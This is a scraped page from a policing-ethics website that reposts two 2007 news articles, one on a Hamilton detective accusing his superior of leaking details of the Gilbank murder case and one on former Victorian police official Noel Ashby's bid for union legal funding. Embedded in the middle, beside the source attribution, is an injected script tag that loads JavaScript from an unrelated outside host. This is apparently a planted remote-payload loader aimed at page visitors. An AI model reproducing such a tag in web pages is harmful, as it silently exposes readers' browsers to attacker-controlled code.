Username:
 Password:
 

Are you not a member?
Register here
Forgot your password?
 
 
 
 
 
 



NEWS > 03 December 2007

Other related articles:

Rival cops at odds over allege
The lead detective in the shotgun murders of Lynn and Fred Gilbank accused his boss of leaking information to a lawyer connected to the accused murderers.

The Spectator has learned Detective Sergeant Steve Hrab, head of the Gilbank investigation, accused Inspector Warren Korol of sharing confidential information about the case with the lawyer who has worked for Andre Gravelle and John (Johnny K-9) Croitoru. They were both later charged with murdering the Ancaster couple.

Korol was exonerated after an OPP investigation that involved interviews with the highest ranking Hamilton... Read more

 Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Australian - Sydney,Austra
03 December 2007
This article appeared in the above title/site.
To view it in its entirity click this link.


Ex-cop's defence funding block

A FORMER Victorian assistant commissioner is unlikely to gain access to the coffers of the state's police union to fund his legal battle against possible corruption charges, despite rejoining the union when he discovered he was under investigation.

Noel Ashby, who resigned from Victoria Police last month after admitting he had improperly obtained details of a secret murder investigation and warned union secretary Paul Mullett his telephone might be bugged, rejoined the Police Association in late September.

This was after he learned he was under investigation for allegedly leaking confidential information and could face charges.

The Police Association has a $16 million legal defence fund accessible to members accused of corruption or misconduct.

But under the association's constitution, the fighting fund can be accessed only by those who were full financial members of the union at the time of the alleged offence or misconduct.

Mr Ashby could not be contacted for comment.

Mr Ashby testified at an Office of Police Integrity corruption hearing last month that on August 15, force media director Stephen Linnell improperly showed him details of the secret murder probe into alleged links between a detective and an underworld hit.

Secret telephone intercepts played to the hearing revealed Mr Ashby and Mr Mullett discussed possible telephone taps on August 21. The intercepts also revealed Mr Ashby and Mr Linnell allegedly breached the confidentiality surrounding secret OPI hearings on September 22, an offence punishable by up to a year in jail. But Mr Ashby testified at the hearing that he met Mr Mullett at a cafe to confirm his application to rejoin the association on September 30, after those alleged offences took place.

Mr Ashby is one of five people, including Mr Mullett, who have been warned they are likely to have adverse findings made against them in the inquiry into top-level leaks.

They face potential charges including perverting the course of justice, breaking telecommunications interception laws and breaching OPI legislation.

The way the association's legal fighting fund has been used to defend some officers accused of serious corruption has led to internal divisions within the union's leadership.

The Australian revealed last month that the Police Association recorded an operating loss of $1.19 million in 2006-07 after spending $4.18 million funding legal battles of officers accused of corruption or misconduct.

An association spokesman said Mr Ashby was entitled to apply for legal assistance, which would be considered under the rules of the constitution.

Pressure on Mr Mullett to stand aside as union secretary pending the outcome of the OPI investigation is expected to be renewed tomorrow during a meeting of the association's executive. Victorian Police Commissioner Christine Nixon and the state Government have refused to deal with him while he is under investigation.

 

EiP Comments:

 


* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.


 
 
[about EiP] [membership] [information room] [library] [online shopping]
[EiP services] [contact information]
 
 
Policing Research 2010 EthicsinPolicing Limited. All rights reserved International Policing
privacy policy

site designed, maintained & hosted by
The Consultancy
Ethics in Policing, based in the UK, provide information and advice about the following:
Policing Research | Police News articles | Police Corruption | International Policing | Police Web Sites | Police Forum | Policing Ethics | Police Journals | Police Publications